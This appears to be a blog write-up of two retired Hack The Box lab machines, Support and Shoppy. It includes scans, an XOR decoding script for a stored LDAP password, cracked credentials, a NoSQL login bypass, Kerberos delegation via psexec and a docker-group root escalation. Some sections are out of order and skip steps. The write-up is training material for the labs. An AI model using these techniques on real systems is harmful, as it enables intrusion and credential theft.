I will keep this short as I have work today. it’s 9:50 so it didn’t take me long to complete but I wouldn’t have had a clue without the official walkthrough. This is yet another easy box which isn’t easy. Perhaps when I complete them all I will actually have a methodology to solve these crazy boxes. Anyway, it was fun I guess, I enjoyed the DNS enumeration and would have loved for the SMTP trick to work. Anyway, I’m done. Time to look for a new career because I clearly suck at hacking.
Hello world and welcome to haxez, today I’m going to attempt to complete the Hack The Box Windows machine Support. The box is rated easy. However, my Windows skills leave a lot to be desired so this should be an interesting one. I might need some… support.
Enumerating Support
As per usual, I first confirmed the box was online. Unfortunately, the machine didn’t respond to pings. I believe that ICMP was disabled (as is the norm on Windows). So, I ran a quick Nmap non-ping scan (-Pn) to confirm the box was online before full aggressive scan mode.
┌─[joe@parrot]─[/media/sf_OneDrive/Hack The Box/Machines/Support] └──╼ $sudo nmap -sC -sV -p- -Pn -O -A --script vuln --reason 10.129.227.255 -oA support [sudo] password for joe: Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-12 10:38 GMT Nmap scan report for 10.129.227.255 Host is up, received user-set (0.012s latency). Not shown: 65517 filtered tcp ports (no-response) PORT STATE SERVICE REASON VERSION 53/tcp open domain syn-ack ttl 127 Simple DNS Plus 88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2023-03-12 10:40:46Z) 135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn 389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? syn-ack ttl 127 464/tcp open kpasswd5? syn-ack ttl 127 593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped syn-ack ttl 127 |_ssl-ccs-injection: No reply from server (TIMEOUT) 3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped syn-ack ttl 127 5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-csrf: Couldn't find any CSRF vulnerabilities. |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. |_http-dombased-xss: Couldn't find any DOM based XSS. |_http-server-header: Microsoft-HTTPAPI/2.0 9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing 49664/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49676/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0 49678/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49705/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2012|2016 (87%) OS CPE: cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016 Aggressive OS guesses: Microsoft Windows Server 2012 R2 (87%), Microsoft Windows Server 2016 (85%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR |_smb-vuln-ms10-054: false |_samba-vuln-cve-2012-1182: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR TRACEROUTE (using port 445/tcp) HOP RTT ADDRESS 1 12.13 ms 10.10.14.1 2 12.25 ms 10.129.227.255 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 354.12 seconds
There were a lot of services open. This machine is likely simulating a domain controller. Furthermore, there are no web services listening so we won’t be doing any web attacks for a foothold. Next, I ran enum4linux against the host which didn’t return much useful information. After that, I ran smbclient to see if we could enumerate shares.
┌─[joe@parrot]─[/media/sf_OneDrive/Hack The Box/Machines/Support] └──╼ $sudo smbclient -N -L \\\\10.129.227.255 Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share support-tools Disk support staff tools SYSVOL Disk Logon server share SMB1 disabled -- no workgroup available
For some reason my Parrot virtual machine hates crackmapexec so I’ve switched to a Kali one. I will try to fix it later but for now, I want to focus on the lab. Anyway, here is the result of enumerating Server Message Block (smb) with crackmapexec.
┌──(kali㉿kali)-[/media/sf_OneDrive/Hack The Box/Machines/Support] └─$ sudo crackmapexec smb 10.129.227.255 SMB 10.129.227.255 445 DC [*] Windows 10.0 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False)
We can also enumerate shares this way. It is always good to know multiple tools that perform the same function I suppose. Here, I have used a random non-existing username but haven’t supplied a password. I believe this falls back to an anonymous authentication and allows us to enumerate the shares. Furthermore, something worth noting is that crackmapexec informs us we have read access to IPC$ and support-tools.
┌──(kali㉿kali)-[/media/sf_OneDrive/Hack The Box/Machines/Support] └─$ sudo crackmapexec smb 10.129.227.255 --shares -u 'haxez' -p '' SMB 10.129.227.255 445 DC [*] Windows 10.0 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False) SMB 10.129.227.255 445 DC [+] support.htb\haxez: SMB 10.129.227.255 445 DC [+] Enumerated shares SMB 10.129.227.255 445 DC Share Permissions Remark SMB 10.129.227.255 445 DC ----- ----------- ------ SMB 10.129.227.255 445 DC ADMIN$ Remote Admin SMB 10.129.227.255 445 DC C$ Default share SMB 10.129.227.255 445 DC IPC$ READ Remote IPC SMB 10.129.227.255 445 DC NETLOGON Logon server share SMB 10.129.227.255 445 DC support-tools READ support staff tools SMB 10.129.227.255 445 DC SYSVOL Logon server share
Sharing Is Caring
Now that we know we have READ access to support-tools, we can connect to it and have a look around using the tool smbclient. As you can see from the output below, there are a number of zip files and executables. Some of them appear to be tools that we’re familiar with like Putty and Wireshark. However, one of them stands out as it is likely a custom binary. The date on this binary is also different to the others so it does stand out like a sore thumb.
┌──(kali㉿kali)-[/media/sf_OneDrive/Hack The Box/Machines/Support] └─$ smbclient -N //10.129.227.255/support-tools Try "help" to get a list of possible commands. smb: \> dir . D 0 Wed Jul 20 13:01:06 2022 .. D 0 Sat May 28 07:18:25 2022 7-ZipPortable_21.07.paf.exe A 2880728 Sat May 28 07:19:19 2022 npp.8.4.1.portable.x64.zip A 5439245 Sat May 28 07:19:55 2022 putty.exe A 1273576 Sat May 28 07:20:06 2022 SysinternalsSuite.zip A 48102161 Sat May 28 07:19:31 2022 UserInfo.exe.zip A 277499 Wed Jul 20 13:01:07 2022 windirstat1_1_2_setup.exe A 79171 Sat May 28 07:20:17 2022 WiresharkPortable64_3.6.5.paf.exe A 44398000 Sat May 28 07:19:43 2022 4026367 blocks of size 4096. 968680 blocks available
I downloaded the archive using the get command and then extracted it. There were a number of dll files and the executable itself.
We can confirm the type of file this executable is using the file command on it.
┌──(kali㉿kali)-[/media/…/Hack The Box/Machines/Support/user] └─$ file UserInfo.exe UserInfo.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Decompiling Support Application
As per the official walkthrough, I’m going to use ILspy to decompile the executable. Once decompiled we can see that there are a number of functions. One of the functions is called LdapQuery which appears to be authenticating to the LDAP service on the host support.htb. We now know the name of the host (if we didn’t already from our other tools). We also know that this is somehow authenticating to the LDAP service. It also appears to be using the domain user ‘support\ldap’.
┌──(kali㉿kali)-[/media/sf_OneDrive/Hack The Box/Machines/Support] └─$ echo '10.129.178.26 support.htb' | sudo tee -a /etc/hosts 10.129.178.26 support.htb
Within the Protected section we can see ‘enc_password’ which appears contains the encoded password. Unfortunately, we can’t just use this string to authenticate to the LDAP service as the application performs a decoding operation before sending the query to the server.
Fortunately, we also have access to the function that performs the decoding. The ‘getPassword’ section is the formula used to decode the encoded string. If we reverse-engineer this then we should be able to steal the ldap user’s password. Once we have the password, we should be able to gather more information from the system (creds or king).
Cracking The Encoding
I’m not much of a coder, I can write some basic scripts to automate things but if you gave me an operation and asked me to reverse it I would panic and go and hide somewhere. This is something I’m actively working on in my spare time but finding time is difficult. I tried (for a while), to write my own script to perform the decryption. It didn’t work, I then asked ChatGPT to try and fix my script (Bash) and it made it worse. Oddly, it then attempted to write it in Python but the output was wrong. So, I gave up and used the one in the official walkthrough.
Unfortunately, Credit to Official HTB Walkthrough.
import base64 from itertools import cycle
enc_password = base64.b64decode("0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E") key = b"armando" key2 = 223 res = '' for e,k in zip(enc_password, cycle(key)): res += chr(e ^ k ^ key2) print(res)
┌──(kali㉿kali)-[/media/sf_OneDrive/Hack The Box/Machines/Support]
└─$ sudo python3 decrypt.py
nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
Wine and Wireshark
This script, when run will output the decoded password. Hopefully, we can use it to perform some more enumeration against the machine. I feel defeated. I do like the way IppSec solved this. In his video, he captures the traffic (generated by the executable) with Wireshark. That way you don’t have to decode it as you capture the password after it has been decoded and sent in the query to the server. I was able to replicate this approach after jumping some frustrating hurdles to get various things set up (Wine and Wine-Mono). Oddly, I wasn’t able to see DNS requests on the ‘any’ interface.
Support Further Share Enumeration
Now that we have the domain (support), the username (ldap), and the password (nvEfEK16¹aM4$e7AclUf8x$tRWxPWO1%lmz), we can use crackmapexec again as an authenticated user and see if we have access to additional shares.
┌──(kali㉿kali)-[/media/sf_OneDrive/Hack The Box/Machines/Support] └─$ sudo crackmapexec smb 10.129.227.255 --shares -d support -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' [sudo] password for kali: SMB 10.129.227.255 445 DC [*] Windows 10.0 Build 20348 x64 (name:DC) (domain:support) (signing:True) (SMBv1:False) SMB 10.129.227.255 445 DC [+] support\ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz SMB 10.129.227.255 445 DC [+] Enumerated shares SMB 10.129.227.255 445 DC Share Permissions Remark SMB 10.129.227.255 445 DC ----- ----------- ------ SMB 10.129.227.255 445 DC ADMIN$ Remote Admin SMB 10.129.227.255 445 DC C$ Default share SMB 10.129.227.255 445 DC IPC$ READ Remote IPC SMB 10.129.227.255 445 DC NETLOGON READ Logon server share SMB 10.129.227.255 445 DC support-tools READ support staff tools SMB 10.129.227.255 445 DC SYSVOL READ Logon server share
I did some more digging around on the shares, specifically SYSVOL as I’ve heard it’s possible to get more credentials that way. Unfortunately, I didn’t find much or perhaps I did but didn’t know what I was looking for. Anyway, I think it’s time to change my approach and come at it from a different angle.
┌──(kali㉿kali)-[~] └─$ sudo smbclient -U support/ldap \\\\10.129.227.255\\SYSVOL Password for [SUPPORT\ldap]: Try "help" to get a list of possible commands. smb: \> dir . D 0 Sat May 28 07:01:45 2022 .. D 0 Sat May 28 07:01:45 2022 support.htb Dr 0 Sat May 28 07:01:45 2022 4026367 blocks of size 4096. 967330 blocks available smb: \> get support.htb NT_STATUS_FILE_IS_A_DIRECTORY opening remote file \support.htb smb: \> cd support.htb smb: \support.htb\> dir . D 0 Sat May 28 07:09:54 2022 .. D 0 Sat May 28 07:01:45 2022 DfsrPrivate DHSr 0 Sat May 28 07:09:54 2022 Policies D 0 Sat May 28 07:01:56 2022 scripts D 0 Sat May 28 07:01:45 2022 4026367 blocks of size 4096. 967330 blocks available smb: \support.htb\> cd scripts smb: \support.htb\scripts\> dir . D 0 Sat May 28 07:01:45 2022 .. D 0 Sat May 28 07:09:54 2022 4026367 blocks of size 4096. 967330 blocks available smb: \support.htb\scripts\> cd .. smb: \support.htb\> cd Policies smb: \support.htb\Policies\> dir . D 0 Sat May 28 07:01:56 2022 .. D 0 Sat May 28 07:09:54 2022 {31B2F340-016D-11D2-945F-00C04FB984F9} D 0 Sat May 28 07:01:56 2022 {6AC1786C-016F-11D2-945F-00C04fB984F9} D 0 Sat May 28 07:01:56 2022
Who Let The Dogs Out
Now that we have a foothold of sorts, we can query Active Directory and look for misconfiguration that may allow us to elevate our privileges. I set up neo4j and then used pip to install bloodhound-python which is a python collector that you can use to gather information about the domain.
┌──(kali㉿kali)-[~]
└─$ sudo bloodhound-python --dns-tcp -ns 10.129.227.255 -d support.htb -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
INFO: Found AD domain: support.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc.support.htb
INFO: Kerberos auth to LDAP failed, trying NTLM
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Found 21 users
INFO: Connecting to LDAP server: dc.support.htb
INFO: Kerberos auth to LDAP failed, trying NTLM
INFO: Found 53 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: Management.support.htb
INFO: Querying computer: dc.support.htb
WARNING: Failed to get service ticket for dc.support.htb, falling back to NTLM auth
CRITICAL: CCache file is not found. Skipping...
WARNING: DCE/RPC connection failed: [Errno Connection error (dc.support.htb:88)] [Errno -2] Name or service not known
INFO: Done in 00M 02S
While setting up bloodhounds and running it was a fun exercise to sharpen skills. Unfortunately, it didn’t get me anything good. There were no paths from the LDAP user to Domain Admin or other high-profile targets.
I tried moving on to ldapsearch but guess what? it didn’t work. For some reason, it didn’t like me passing it hyphens even though that’s the format it requires. Every time I tried running the tool it would error out. Getting sick of things not working now. I tried going from argument to argument but it just wouldn’t accept it. So I guess we move on to another too.
Thank fu*k for the Apache Software Foundation. Just that, they are amazing and build amazing products. The Apache Directory Studio allows you to connect to LDAP and browse the active directory. It’s as simple as that. I didn’t know about it until now but I will definitely be adding this to my list of go-to tools. Almost every tool I have used today has broken, no idea why but they just stopped working, I downloaded this tool, extracted it and it worked. That’s it. Pop in the domain details and you’re done.
We know from our bloodhound output that the support user was a high-profile target as it appeared to have a clear path to Domain Admin. Well, this tool shows that the support user has a very interesting note on their active directory account.
Ironside47pleasure40Watchful
Perhaps this is a password. Let’s try it. It worked and we can now grab the user flag from the desktop.
┌──(kali㉿kali)-[~/Downloads/ApacheDirectoryStudio] └─$ evil-winrm -u support -p 'Ironside47pleasure40Watchful' -i support.htb Evil-WinRM shell v3.4 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\support\Documents> dir *Evil-WinRM* PS C:\Users\support\Documents> cd ../ *Evil-WinRM* PS C:\Users\support> dir Directory: C:\Users\support Mode LastWriteTime Length Name ---- ------------- ------ ---- d-r--- 5/28/2022 4:17 AM Desktop d-r--- 5/28/2022 4:16 AM Documents d-r--- 5/8/2021 1:15 AM Downloads d-r--- 5/8/2021 1:15 AM Favorites d-r--- 5/8/2021 1:15 AM Links d-r--- 5/8/2021 1:15 AM Music d-r--- 5/8/2021 1:15 AM Pictures d----- 5/8/2021 1:15 AM Saved Games d-r--- 5/8/2021 1:15 AM Videos *Evil-WinRM* PS C:\Users\support> cd Desktop *Evil-WinRM* PS C:\Users\support\Desktop> dir Directory: C:\Users\support\Desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 3/12/2023 3:37 AM 34 user.txt
*Evil-WinRM* PS C:\Users\support\Desktop> type user.txt e56▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓699
Support Privilege Escalation
Back to information gathering for a moment. Now that we have a foothold on the system as the support user, we can find out more about this user. The command below shows the groups that this user belongs to. One of these groups is the Shared Support Accounts group that showed a path to Domain Admin in Bloodhound.
*Evil-WinRM* PS C:\Users\support\Desktop> whoami /groups GROUP INFORMATION ----------------- Group Name Type SID Attributes ========================================== ================ Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group SUPPORT\Shared Support Accounts Group S-1-5-21-1677581083-3380853377-188903654-1103 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group Mandatory Label\Medium Mandatory Level Label S-1-16-8192
Bloodhound shows that the Shared Support Accounts group has a GenericAll path to the Domain Controller. While I still need to learn in detail what it means, I think it allows us to create an object like a computer. We can then use that object to get Kerberos tickets and take over the domain.
The following command shows that we as the support user can create up to 10 machines on the domain.
*Evil-WinRM* PS C:\Users\support\Desktop> Get-DomainComputer DC | select name, msds-allowedtoactonbehalfofotheridentity name msds-allowedtoactonbehalfofotheridentity ---- ---------------------------------------- DC
Now we need to upload something called Powermad.ps1 and import it. Once we have done that we can create a fake computer. I understand what it’s doing but I honestly have no clue about this process and why the different tools are needed. This is something I will have to look into later.
*Evil-WinRM* PS C:\Users\support\Desktop> upload /home/kali/Downloads/ApacheDirectoryStudio/Powermad.ps1 Info: Uploading /home/kali/Downloads/ApacheDirectoryStudio/Powermad.ps1 to C:\Users\support\Desktop\Powermad.ps1
┌──(kali㉿kali)-[~] └─$ KRB5CCNAME=ticket.ccache /usr/share/doc/python3-impacket/examples/psexec.py support.htb/[email protected] -k -no-pass Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation [] Requesting shares on dc.support.htb….. [] Found writable share ADMIN$ [] Uploading file pjlBUiQm.exe [] Opening SVCManager on dc.support.htb….. [] Creating service hnLw on dc.support.htb….. [] Starting service hnLw….. [!] Press help for extra shell commands Microsoft Windows [Version 10.0.20348.859] (c) Microsoft Corporation. All rights reserved. C:\Windows\system32>
Now we can get the root flag.
C:\Windows\system32> cd C:\Users\Administrator\Desktop C:\Users\Administrator\Desktop> type flag.txt The system cannot find the file specified. C:\Users\Administrator\Desktop> dir Volume in drive C has no label. Volume Serial Number is 955A-5CBB Directory of C:\Users\Administrator\Desktop 05/28/2022 04:17 AM <DIR> . 05/28/2022 04:11 AM <DIR> .. 03/12/2023 03:37 AM 34 root.txt 1 File(s) 34 bytes 2 Dir(s) 3,943,952,384 bytes free C:\Users\Administrator\Desktop> type root.txt 665▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓311
Support Conclusions
You want to know something funny, you might not find it funny but in hindsight, it’s pretty hilarious. I just read through the Hack The Box academy module “Learning Process”. It’s a great module which has a lot of information about how best to learn new things. One of the sections mentions frustration and how Cybersecurity can be frustrating due to being outside your comfort zone. This machine frustrated me! Even being mindful of being frustrated it still made me want to rip my hair out (I’m bald).
It’s all my own fault admittedly, not having the correct tools, tools breaking and general lack of knowledge. I started this box at on Sunday at 10:00 am. It is now 13:52 and I still don’t have a foothold. Crackmapexec broke on Parrot so I span up a Kali instance. Kali didn’t have all the required tools so I had to install some.
Hello world and welcome to Haxez, today I’m going to be working through the retired Hack The Box Machine Shoppy. I’m currently going through all the retired machines to try and upskill myself while studying the CPTS academy material. It’s also great to see the effort that has gone into making these machines. Each machine is like an episode of your favourite TV show, you don’t want to miss anything. Please note that I followed IppSec’s Shoppy Youtube video when getting stuck.
Shoppy Enumeration
Once the machine has started I connected to the VPN and started pinging the box to make sure I could talk to it. After confirming the box was online, I scanned it with Nmap to see what services were listening. As you can see from the output below, SSH and HTTP were open.
Nmap scan report for 10.129.227.233 Host is up, received echo-reply ttl 63 (0.013s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | vulners: | cpe:/a:openbsd:openssh:8.4p1: | CVE-2021-28041 4.6 https://vulners.com/cve/CVE-2021-28041 | CVE-2021-41617 4.4 https://vulners.com/cve/CVE-2021-41617 | CVE-2020-14145 4.3 https://vulners.com/cve/CVE-2020-14145 | CVE-2016-20012 4.3 https://vulners.com/cve/CVE-2016-20012 |_ CVE-2021-36368 2.6 https://vulners.com/cve/CVE-2021-36368 80/tcp open http syn-ack ttl 63 nginx 1.23.1 |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. |_http-server-header: nginx/1.23.1 |_http-passwd: ERROR: Script execution failed (use -d to debug) |_http-dombased-xss: Couldn't find any DOM based XSS. |_http-csrf: Couldn't find any CSRF vulnerabilities.
As HTTP was the only thing open that had a sensible attack surface, I visited the machine’s IP address in my browser. Unfortunately, I got an error due to a redirect in place. In order to resolve this, I echoed the domain name into my host file with the IP address of the box. This would ensure that the domain resolves to the correct IP address and that the redirect works.
┌─[joe@parrot]─[/media/sf_OneDrive/Hack The Box/Machines/Shoppy] └──╼ $sudo echo "10.129.227.233 shoppy.htb" | sudo tee -a /etc/hosts 10.129.227.233 shoppy.htb
Upon visiting the domain, I was presented with a countdown. No discernible technology was evident. I viewed the page source and looked at the various javascript files but couldn’t identify a framework or cms.
I started poking the application with various strings to attempt to force an error. The generic 404 error returns the response “Cannot GET” followed by the requested file. From this, we can deduce that the application was built with Node.js.
No Access to No SQLI
Next, I ran gobuster against the application to see if there were any hidden directories or files. As seen below, the results of gobuster found an admin and login area as well as some other generic files. It’s probably safe to assume that the login admin area is where the creator of the box wants us to go.
The login area didn’t give much away. For a moment, I thought I was logging in to my Activision/Blizzard account. So next, I started poking at the parameters of the login box. Initially, I captured it with Burp and tried the usual suspects, code execution and SQL injection. However, this is Node.js and is likely to use a NoSQL database. Admittedly, I didn’t know that until I watched a video about it. Anyway, the application login can be bypassed with ‘admin’||’1’==1’.
Once inside the application, I had access to a search box that lets you search for users. Searching for admin gave me the admin password hash. We can also perform a SQL injection on this form too and get it to spit out the other users of the application.
Hash Cracking
To proceed, I saved the hashes into a file and used John and rockyou.txt to crack them. As shown below, John was only able to crack one of the hashes. I will come back to the other one later and use a large wordlist if necessary.
┌─[joe@parrot]─[/media/sf_OneDrive/Hack The Box/Machines/Shoppy] └──╼ $sudo john --format=Raw-MD5 hashesh --wordlist=/media/sf_OneDrive/Wordlist/rockyou.txt Using default input encoding: UTF-8 Loaded 2 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3]) Warning: no OpenMP support for this hash type, consider --fork=4 Press 'q' or Ctrl-C to abort, almost any other key for status remembermethisway (?) 1g 0:00:00:23 DONE (2023-03-11 11:30) 0.04286g/s 614801p/s 614801c/s 649613C/s filimani..*7¡Vamos! Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably Session completed
We can use Josh’s password to login into the application but it only provides us with the same functionality we had before. Time to go back to information gathering.
Shoppy Further Enumeration
In order to proceed, I used the ffuf fuzzing tool to brute force subdomains. As you can see from the output below, it found the subdomain of mattermost. I’ve heard of mattermost but I can’t remember ever using it. I believe it is some type of chat application.
In order to visit this subdomain, I echoed it into my host file. This gave me a login page which I was able to login to with the username Josh and the password we just cracked. Once the page loaded, it was evident that it was a chat application similar to Slack. Furthermore, I searched through the different channels and found a set of credentials. This a daily reminder not to share credentials in plaintext… ever.
Shoppy Foothold
Our initial scans showed that SSH was open. Attempting to SSH to the machine with the newly discovered credentials does give us access. Furthermore, it looks like we have the ability to run a password-manager command as the user deploys with sudo.
┌─[joe@parrot]─[/media/sf_OneDrive/Hack The Box/Machines/Shoppy] └──╼ $ssh [email protected] The authenticity of host '10.129.227.233 (10.129.227.233)' can't be established. ECDSA key fingerprint is SHA256:KoI81LeAk+ps7zoc1ru39Mg7srdxjzOb1UgmdW6T6kI. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.129.227.233' (ECDSA) to the list of known hosts. [email protected]'s password: Linux shoppy 5.10.0-18-amd64 #1 SMP Debian 5.10.140-1 (2022-09-02) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. manpath: can't set the locale; make sure $LC_* and $LANG are correct jaeger@shoppy:~$ id uid=1000(jaeger) gid=1000(jaeger) groups=1000(jaeger) jaeger@shoppy:~$ sudo -l [sudo] password for jaeger: Matching Defaults entries for jaeger on shoppy: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User jaeger may run the following commands on shoppy: (deploy) /home/deploy/password-manager
I executed the password manager binary and it asked me for a password. Next, I tried the same password that I used to SSH to the machine but it was incorrect.
jaeger@shoppy:~$ sudo -u deploy /home/deploy/password-manager Welcome to Josh password manager! Please enter your master password: Sh0ppyBest@pp! Access denied! This incident will be reported !
After that, I used strings on the binary to see whether I could find the password that way. Initially, strings reported back a lot of information. Not all of it was useful but I could see that it was using cat to read the contents of a creds.txt file. I ran strings again with different encoding and got the word “Sample” back.
jaeger@shoppy:~$ strings -e l /home/deploy/password-manager Sample
Running the password-manager binary again with the correct password gave me some credentials.
jaeger@shoppy:~$ sudo -u deploy /home/deploy/password-manager Welcome to Josh password manager! Please enter your master password: Sample Access granted! Here is creds ! Deploy Creds : username: deploy password: Deploying@pp!
I was then able to switch user or SSH to the machine as the deploy user. Unfortunately, the deploy user didn’t have any sudo privileges. However, upon checking the groups that the user belonged to, it became evident that Docker was going to play a part in the privilege escalation process.
$ sudo -l [sudo] password for deploy: Sorry, user deploy may not run sudo on shoppy. $ id uid=1001(deploy) gid=1001(deploy) groups=1001(deploy),998(docker) $ docker images REPOSITORY TAG IMAGE ID CREATED SIZE alpine latest d7d3d98c851f 7 months ago 5.53MB
Shoppy Docker Privilege Escalation
Using Docker, I span up a new container where the root of the machine was mounted inside the container. Doing so should give me the permissions needed to access the root flag. Once the container was created I used chroot and was able to grab the root flag.
This was a fun machine. I haven’t done much with the technologies involved like Node.JS and NoSQL databases. I have done privilege escalation with docker containers before but that was a while ago that required me to upload the image myself (from what I remember). Anyway, I learnt a lot from this box which I’m sure I will forget in a week’s time.